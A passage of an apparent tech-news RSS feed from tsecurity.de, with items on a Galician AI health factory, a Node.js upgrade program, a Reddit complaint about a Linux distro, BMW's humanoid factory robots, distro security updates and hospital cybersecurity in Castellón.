<p> La iniciativa está financiado entre la organización EuroHPC JU, el Gobierno de España y la Xunta de Galicia. Liderada por el CESGA y coliderada por el CSIC, en ella están involucradas las tres universidades públicas gallegas, varios centros de investigación de la Red CIGUS, el Hub Europeo de Innovación Dixital DATAlife y el centro tecnológico Gradiant, entre otros. “Entre este consorcio prestaremos una serie de servicios”, explica Orosa, que los enumera: habrá un nuevo supercomputador optimizado para IA, una plataforma experimental para desarrollar nuevas tecnologías, y además se prestarán servicios de apoyo a otras organizaciones. “La prioridad es que este servicio sea para pequeñas y medianas empresas principalmente, pero no está limitado”.</p>



<p>Para Orosa, el de la salud “es uno de los campos con más potencial” para el trabajo con IA. “Hay muchísimas oportunidades, por eso escogimos especializar nuestra factoría en este en este ámbito, porque <strong>creemos en su valor estratégico”.</strong> Se trata de un área con una gran abundancia de datos, en la que muchas veces falta cierta pericia para acometer iniciativas. “También hay muchos retos, porque estos son datos sensibles, privados, entonces hay que construir una plataforma como corresponde, y para analizarlos necesitamos la infraestructura que ahora nos viene a través de esta factoría y protocolos específicos que se desarrollarán”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Lois Orosa, director científico del CESGA" class="wp-image-4144766" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?quality=50&amp;strip=all 4752w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2026/03/Lois-Orosa_Foto_HD-1.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Lois Orosa, director científico del CESGA.</strong></p>
</figcaption></figure><p class="imageCredit">CESGA</p></div>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>Para Orosa, el de la salud “es uno de los campos con más potencial” para el trabajo con IA</strong></em></p></blockquote></figure>



<h2 class="wp-block-heading">IA en la sanidad pública</h2>



<p>Estas iniciativas demuestran el potencial y el camino a seguir, pero la realidad es que hoy en día ya se está integrando IA en los servicios de salud pública. Retoma el discurso Juan Carlos Oliva, quien reseña algunos de los proyectos de Fundación Rioja Salud, como su <strong><em>data lake</em> sanitario Pascal</strong> —siglas de Plataforma Analítica de Salud de la Comunidad Autónoma de La Rioja—, sobre el que están desarrollando varias inteligencias artificiales. En el ámbito de la imagen diagnóstica, se está desarrollando una IA que puede hacer un screening en atención primaria a partir de una imagen de la piel, que indica al personal si debe derivar al paciente. Otro ejemplo: una IA pensada para seguir el proceso de personas con problemas de nefrología. “Estamos diagramando todo el proceso asistencial de primaria y hospitalaria, identificando cómo se mueven los pacientes en función de qué decisiones para hacer simulaciones y predecir de qué manera podemos ser más eficientes y más eficaces y tener un diagnóstico más temprano”. También trabajan sobre textos o informes médicos, usando modelos del lenguaje para leer los informes de alta en cardiología y dar soporte a la decisión clínica en escenarios de arteriosclerosis. “El primer ejemplo es de cómo trabajamos sobre imagen. El segundo, el dato de partida es el proceso. El tercero, el dato de partida son los textos libres”.</p>



<p>No es la única administración. <a href="https://www.computerworld.es/article/3992401/galicia-a-la-vanguardia-de-la-digitalizacion-en-salud.html">Galicia</a>, Asturias, <a href="https://www.cio.com/article/4008130/que-implica-la-digitalizacion-del-sector-publico-los-cio-hablan.html">Andalucía</a>… todas están explorando las ventajas de la IA. En España, aunque las competencias en salud están transferidas a las autonomías, el <a href="https://www.computerworld.es/article/3987788/juan-fernando-munoz-debemos-asegurar-un-crecimiento-anual-del-presupuesto-digital-en-sanidad-alineado-con-la-inversion-de-los-cuatro-anos-previos.html">Sistema Nacional de Salud</a> cuenta con una <a href="https://www.sanidad.gob.es/en/gabinete/notasPrensa.do?id=6788#:~:text=Ministerio%20de%20Sanidad%20-%20Press%20and%20communication%20-%20Noticias" target="_blank" rel="nofollow">Estrategia de Inteligencia Artificial</a> propia. Además, desde Red.es se han promovido <a href="https://ptedisruptive.es/espana-impulsa-la-ia-en-salud-red-es-activa-una-convocatoria-de-50-millones-para-proyectos-innovadores-en-2025/" target="_blank" rel="nofollow">ayudas específicas</a> para la integración de estas herramientas. El margen de beneficio es tan grande que, sin duda, merece la pena la apuesta.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2/3 of Node.Js Users Run an Outdated Version.  So OpenJS Announces Program Offering Upgrade Providers]]></title>
<description><![CDATA[How many Node.js users are running unsupported or outdated versions. Roughly two thirds, according to data from Node's nonprofit steward, OpenJS. 

So they've announced "the Node.js LTS Upgrade and Modernization program" to help enterprises move safely off legacy/end-of-life Node.js. "This progra...]]></description>
<link>https://tsecurity.de/de/3334136/it-security-nachrichten/23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3334136/it-security-nachrichten/23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers/</guid>
<pubDate>Sun, 08 Mar 2026 18:50:12 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How many Node.js users are running unsupported or outdated versions. Roughly two thirds, according to data from Node's nonprofit steward, OpenJS. 

So they've announced "the Node.js LTS Upgrade and Modernization program" to help enterprises move safely off legacy/end-of-life Node.js. "This program gives enterprises a clear, trusted path to modernize," said the executive director of the OpenJS Foundation, "while staying aligned with the Node.js project and community."
The Node.js LTS Upgrade and Modernization program connects organizations with experienced Node.js service providers who handle the work of upgrading safely. 

Approved partners assess current versions and dependencies, manage phased upgrades to supported LTS releases, and offer temporary security support when immediate upgrades are not possible... Partners are surfaced exactly where users go when upgrades become unavoidable, including the Node.js website, documentation, and end of life guidance. 

The program follows the existing OpenJS Ecosystem Sustainability Program revenue model, with partners retaining 85% of revenue and 15% supporting OpenJS and Node.js through Open Collective and foundation operations. OpenJS provides the guardrails, alignment, and oversight to keep the program credible and connected to the project. We're pleased to welcome NodeSource as the inaugural partner in the Node.js LTS Upgrade and Modernization program.
 
"The goal is simple: reduce risk without breaking production or trust with the upstream project."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=2%2F3+of+Node.Js+Users+Run+an+Outdated+Version.++So+OpenJS+Announces+Program+Offering+Upgrade+Providers%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F03%2F08%2F0236233%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F03%2F08%2F0236233%2F23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/03/08/0236233/23-of-nodejs-users-run-an-outdated-version-so-openjs-announces-program-offering-upgrade-providers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Want to help me catch a scammer?]]></title>
<description><![CDATA[This guy just came to a bunch of tech Brazilian subreddits claiming that Winux, a "Brazilian distro", just hit 333k weekly downloads and it's currently the top 1 most downloaded thing from sourceforge. You can see the entire discussion here (it's in portuguese, obviously): [Orgulho BR] Sistema br...]]></description>
<link>https://tsecurity.de/de/3333091/linux-tipps/want-to-help-me-catch-a-scammer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3333091/linux-tipps/want-to-help-me-catch-a-scammer/</guid>
<pubDate>Sun, 08 Mar 2026 06:20:04 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>This guy just came to a bunch of tech Brazilian subreddits claiming that Winux, a "Brazilian distro", just hit 333k weekly downloads and it's currently the top 1 most downloaded thing from sourceforge. You can see the entire discussion here (it's in portuguese, obviously):<br> <a href="https://www.reddit.com/r/linuxbrasil/comments/1rnuair/comment/o99lixo/?context=1">[Orgulho BR] Sistema brasileiro atinge o 1º lugar MUNDIAL em downloads no SourceForge (333k+ semanais e 1.5M acumulados!) : r/linuxbrasil</a></p> <p>It's a complete joke. He's clearly the creator and is trying with all his forces to keep the distro's image up. They don't even distribute the source code because there's FREE features you have to PAY before he unlocks it. I'm certain it's violating at least GPL. How can we report him?</p> <p>It's a shame to see my country involved in this thing. Linux is most used here because it's the only thing we can afford in old hardware due to the abusive prices the industry practices. Ain't no way someone like him should be taking advatange of ppl who can't even pay for a decent computer (me included).</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/LogicalOperation9820"> /u/LogicalOperation9820 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1rnw613/want_to_help_me_catch_a_scammer/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1rnw613/want_to_help_me_catch_a_scammer/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[BMW lleva robots humanoides con IA a su fábrica de Leipzig]]></title>
<description><![CDATA[Mientras que C-3PO era ciencia ficción en la primera película de Star Wars en 1977, los robots humanoides ya son una realidad en las naves de producción de BMW. Tras introducir Figure 2 en la planta de Spartanburg, en Estados Unidos, BMW también está desplegando robots humanoides en su planta ale...]]></description>
<link>https://tsecurity.de/de/3330040/it-security-nachrichten/bmw-lleva-robots-humanoides-con-ia-a-su-fbrica-de-leipzig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3330040/it-security-nachrichten/bmw-lleva-robots-humanoides-con-ia-a-su-fbrica-de-leipzig/</guid>
<pubDate>Fri, 06 Mar 2026 12:36:13 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Mientras que C-3PO era ciencia ficción en la primera película de Star Wars en 1977, los robots humanoides ya son una realidad en las naves de producción de BMW. Tras introducir Figure 2 en la planta de Spartanburg, en Estados Unidos, BMW también está desplegando robots humanoides en su planta alemana de Leipzig.</p>



<p>Figure 2 ya ha demostrado de lo que son capaces los robots humanoides en la planta de BMW en Estados Unidos. Durante una fase piloto de diez meses en la construcción de carrocerías, trabajó en turnos de diez horas y contribuyó a la producción de más de 30.000 BMW X3. Funcionaba en tándem: mientras un robot trabajaba, el otro cargaba los vehículos.</p>



<p>En Europa, sin embargo, la empresa no confía en el fabricante estadounidense para sus robots humanoides, sino en Hexagon Robotics, con sede en Zurich, una filial de la sueca Hexagon AB.</p>



<p>El robot Aeon de Hexagon, que se está introduciendo actualmente en la planta de BMW en Leipzig, es un robot polivalente que se distingue por una característica particular: a diferencia de Figure 2 en EE. UU., se desplaza sobre ruedas. Según sus desarrolladores, este es el método más eficiente para cubrir largas distancias dentro de una fábrica, con una velocidad de 2,5 metros por segundo.</p>



<h2 class="wp-block-heading">Inteligencia basada en IA física</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Roboter" class="wp-image-4139325" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?quality=50&amp;strip=all 1600w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA3.jpg?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Un Aeon en producción en la planta de BMW en Leipzig.</p><br></figcaption></figure><p class="imageCredit">BMW Group</p></div>



<p>Con 22 sensores y 34 grados de libertad, Aeon puede manipular componentes y también realizar controles de calidad de alta precisión en las puertas de los vehículos mediante escáneres integrados. Además, puede sustituir su batería de forma autónoma en menos de 30 segundos para seguir funcionando sin largas interrupciones para recargarla.</p>



<p>Aeon se utilizará en la planta de Leipzig, concretamente en el montaje de baterías y en la fabricación de componentes. A diferencia de los robots colaborativos anteriores, que a menudo fallaban en la práctica debido a su limitada inteligencia, Aeon cuenta con IA física. Esto permite a esta generación de robots aprender a través de simulaciones, aprendizaje por imitación y modelos del mundo. Por ejemplo, Aeon utiliza cámaras de 360 grados para reaccionar en tiempo real ante obstáculos o empleados que pasan por delante.</p>



<h2 class="wp-block-heading">iFactory en acción</h2>



<p>La IA de Aeon funciona integrada con iFactory, el sistema del fabricante de automóviles. Esto permite a Aeon operar dentro del entorno de la fábrica sin necesidad de una programación rígida. iFactory es el plan maestro global de BMW para un sistema de producción radicalmente flexible, sostenible y, sobre todo, totalmente digitalizado.</p>



<p>Con iFactory llega el fin de la era de los sistemas heredados, caracterizados por bases de datos aisladas para calidad, logística y mantenimiento que apenas se comunicaban entre sí. BMW ha puesto fin a esta situación. La base técnica es una base de datos estandarizada y la interconexión global de todas las ubicaciones.</p>



<h2 class="wp-block-heading">Cuatro niveles de madurez de la IA</h2>



<p>El núcleo de iFactory es un servicio de <em>streaming </em>en el que todas las máquinas introducen sus datos en tiempo real. Esta nube de datos es el combustible de la IA. Aunque BMW comenzó sus primeras incursiones en la IA hace 15 años, el sistema actual se encuentra en un nuevo nivel. En la actualidad hay más de 1.100 casos de uso de IA activos en toda la red de producción, lo que ya supone un ahorro de más de 30.000 euros por caso al año.</p>



<p>La propia BMW divide la evolución del uso de la IA en la fábrica en cuatro niveles de madurez técnica:</p>



<p>Rutinas operativas: sencillos sistemas de cámara y ordenador (visión artificial) comprueban si los componentes están correctamente montados.</p>



<p>Control de procesos: la IA ya no se limita a decidir si algo es «correcto o incorrecto», sino que controla activamente los procesos de producción basándose en datos de la nube.</p>



<p>Planificación con IA generativa: los modelos de lenguaje de gran tamaño (LLM) permiten a los ingenieros realizar análisis complejos y planificar la fábrica de forma más eficiente.</p>



<p>IA autónoma: la disciplina más avanzada, en la que la IA toma sus propias decisiones y navega de forma independiente por los requisitos de fabricación.</p>



<h2 class="wp-block-heading">Agentes de IA autónomos</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Digital Twin" class="wp-image-4139323" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?quality=50&amp;strip=all 1600w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/03/BMWA2.jpg?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Gemelo digital de la producción en BMW.</p><br></figcaption></figure><p class="imageCredit">BMW Group</p></div>



<p>Para BMW, estos agentes de IA autónomos representan el nivel más alto de evolución de la IA dentro de la producción. A diferencia de los sistemas de IA más simples, estos agentes están diseñados para generar sus propias decisiones y desenvolverse de forma independiente en los complejos requisitos de fabricación.</p>



<p>Además, BMW tiene previsto integrar estos agentes en el gemelo digital de sus fábricas para apoyar la toma de decisiones en la planificación diaria de la producción. Estos agentes virtuales se basan en LLM y utilizan la amplia base de conocimientos de los expertos de BMW para optimizar las tareas de planificación.</p>



<p>El gemelo digital de las fábricas se creó en colaboración con Nvidia. Para ello, se escanearon todas las plantas del mundo con escáneres láser, algunas de forma manual y otras de forma automática. El resultado es un mundo virtual que reproduce la realidad con precisión milimétrica. En este omniverso, ingenieros de distintos continentes pueden colaborar simultáneamente: pueden mover robots, simular flujos logísticos o analizar la ergonomía de los puestos de trabajo antes de que se haya apretado un solo tornillo. Los agentes de IA mencionados anteriormente también pueden utilizarse en este mundo virtual para apoyar los procesos de toma de decisiones.</p>



<h2 class="wp-block-heading">Sostenibilidad y flexibilidad</h2>



<p>En BMW, la digitalización no es un fin en sí mismo, sino una herramienta para lograr una mayor sostenibilidad. Dado que las fuentes de energía renovables, como la eólica y la solar, fluctúan, BMW utiliza la IA para adaptar la demanda energética de la producción al suministro disponible.</p>



<p>Los sensores y los sistemas de control equilibran los picos de carga y optimizan el consumo en tiempo real, un proceso que sería demasiado complejo para los sistemas convencionales debido al enorme número de parámetros implicados.</p>



<p>Además, la estrategia iFactory abre la puerta a una mayor flexibilidad para BMW. Por ejemplo, permite cambiar el tipo de sistema de propulsión que se instala en una línea de producción. Asimismo, la secuencia de pedidos puede modificarse hasta seis días antes del inicio de la producción.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds-base, buildah, firefox, freerdp, golang-github-openprinting-ipp-usb, grafana-pcp, kernel, libpng15, munge, nodejs:20, nodejs:22, podman, protobuf, python-pyasn1, runc, and skopeo), Debian (chromium, nss, and python-django), Fedora (firefox, f...]]></description>
<link>https://tsecurity.de/de/3314874/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3314874/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 27 Feb 2026 15:07:01 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds-base, buildah, firefox, freerdp, golang-github-openprinting-ipp-usb, grafana-pcp, kernel, libpng15, munge, nodejs:20, nodejs:22, podman, protobuf, python-pyasn1, runc, and skopeo), <b>Debian</b> (chromium, nss, and python-django), <b>Fedora</b> (firefox, freerdp, gh, libmaxminddb, nss, python3.15, and udisks2), <b>Oracle</b> (buildah, firefox, freerdp, kernel, libpng, podman, python-pyasn1, skopeo, and valkey), <b>Red Hat</b> (container-tools:rhel8), <b>SUSE</b> (autogen, chromium, cockpit, cockpit-machines-348, cockpit-packages, cockpit-repos, cockpit-subscriptions, crun, docker, docker-compose, docker-stable, erlang, freerdp, frr, glib2, gpg2, kernel, kernel-firmware, libsodium, libsoup, libsoup2, openvswitch, python, python-pyasn1, python-urllib3, python-urllib3_1, python3, qemu, redis7, regclient, and ucode-intel), and <b>Ubuntu</b> (linux-aws, linux-aws-6.8, linux-ibm, linux-ibm-6.8, linux-xilinx, python-authlib, and ruby-rack).]]></content:encoded>
</item>
<item>
<title><![CDATA[El Hospital Provincial de Castellón convierte la ciberseguridad en seguridad del paciente]]></title>
<description><![CDATA[La transformación digital del sector sanitario ha abierto una nueva frontera para la atención médica, pero también para los ciberdelincuentes. Hospitales, centros de salud y laboratorios se han convertido en uno de los objetivos prioritarios de los ataques informáticos por una razón evidente: man...]]></description>
<link>https://tsecurity.de/de/3314836/it-security-nachrichten/el-hospital-provincial-de-castelln-convierte-la-ciberseguridad-en-seguridad-del-paciente/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3314836/it-security-nachrichten/el-hospital-provincial-de-castelln-convierte-la-ciberseguridad-en-seguridad-del-paciente/</guid>
<pubDate>Fri, 27 Feb 2026 14:48:58 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La <strong>transformación digital del sector sanitario</strong> ha abierto una nueva frontera para la atención médica, pero también para los ciberdelincuentes. Hospitales, centros de salud y laboratorios se han convertido en uno de los objetivos prioritarios de los ataques informáticos por una razón evidente: manejan información extremadamente sensible y, además, no pueden permitirse parar.</p>



<p>Un incidente de ciberseguridad en una organización sanitaria ya no implica únicamente pérdidas económicas o interrupciones tecnológicas. Puede traducirse en quirófanos aplazados, diagnósticos retrasados o servicios críticos sin acceso a información clínica. Por ello, informes internacionales coinciden en señalar que el sector sanitario figura entre los más atacados del mundo, especialmente por campañas de <em>ransomware</em> diseñadas para explotar esa necesidad de continuidad asistencial.</p>



<p>En este contexto, la ciberseguridad ha dejado de ser un asunto exclusivamente tecnológico para convertirse en un elemento estructural de la seguridad del paciente, una premisa que ha guiado el proceso de transformación digital del <strong>Consorcio Hospitalario Provincial de Castellón</strong>.</p>



<h2 class="wp-block-heading">De una seguridad reactiva a una estrategia tecnológica estructural</h2>



<p>Cuando el equipo tecnológico del hospital asumió la modernización del entorno digital, el diagnóstico fue claro. Según explica <strong>Carlos García Altarejos, responsable de Tecnología del Consorcio</strong>, la situación inicial presentaba importantes carencias. “La situación de ciberseguridad era muy deficiente: había protección de <em>endpoint</em> solo en parte del parque tecnológico, sin un ecosistema integral, sin personal especializado dedicado y con la seguridad fuera de las prioridades”, señala.</p>



<p>Ante ese escenario, el reto era doble: elevar rápidamente el nivel de protección y hacerlo sin interrumpir un servicio sanitario que funciona las 24 horas del día. A ello se sumaba un entorno especialmente complejo, con dispositivos médicos, sistemas heredados difíciles de actualizar y múltiples tecnologías conviviendo al mismo tiempo. “El equilibrio entre seguridad y operativa asistencial es especialmente delicado en un hospital”, explica. “Tenemos una alta heterogeneidad tecnológica y muchos sistemas <em>legacy</em> donde no siempre es posible instalar soluciones tradicionales”.</p>



<p>En un proyecto como este, el impacto potencial de un incidente iba mucho más allá del ámbito tecnológico. “Un ataque no afecta solo a sistemas informáticos; afecta a la disponibilidad, a la integridad de la información clínica y a la confidencialidad de datos extremadamente sensibles”, subraya García Altarejos. “En un hospital, donde no puedes parar para recuperar, la ciberseguridad forma parte directa de la continuidad asistencial”.</p>



<p>Esta visión marcó el inicio de una hoja de ruta que no se limitaba a incorporar herramientas, sino a redefinir la gobernanza tecnológica del centro. El objetivo era construir una base sólida que permitiera avanzar en digitalización sin incrementar el riesgo.</p>



<h2 class="wp-block-heading">Una transformación digital con la seguridad como punto de partida</h2>



<p>El proyecto tecnológico se diseñó por fases, priorizando los activos críticos. Primero se protegieron servidores con acceso a datos clínicos, sistemas de copia de seguridad y perímetro de red; posteriormente se extendió la cobertura a puestos y áreas asistenciales como Urgencias, UCI, laboratorio o radiología. “El mayor aprendizaje fue entender que en un hospital la clave no es tener herramientas, sino disponer de visibilidad correlacionada y capacidad real de respuesta”, explica el responsable tecnológico del centro. “Cuando puedes ver lo que ocurre en <em>endpoint</em>, red y perímetro al mismo tiempo, cambia completamente la gestión del riesgo”.</p>



<p>La implantación exigió además una estrecha coordinación con los servicios clínicos. “Trabajamos con planificación por fases y ventanas fuera de horas punta. La gobernanza clínica fue esencial para minimizar cualquier impacto asistencial”, añade.</p>



<p>El componente humano también resultó determinante. El hospital impulsó formación específica para el equipo de TI y acciones de concienciación dirigidas al personal sanitario. “La tecnología solo funciona si se acompaña de procesos y hábitos. Cada profesional debe entender que la ciberseguridad también protege al paciente”, afirma.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?w=1024" alt="Carlos García Altarejos, responsable de Tecnología del Consorcio Hospitalario Provincial de Castellón" class="wp-image-4138550" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?quality=50&amp;strip=all 4096w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=300%2C245&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=768%2C627&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=1024%2C836&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=1536%2C1254&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=2048%2C1672&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=854%2C697&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=206%2C168&amp;quality=50&amp;strip=all 206w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=103%2C84&amp;quality=50&amp;strip=all 103w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=588%2C480&amp;quality=50&amp;strip=all 588w, 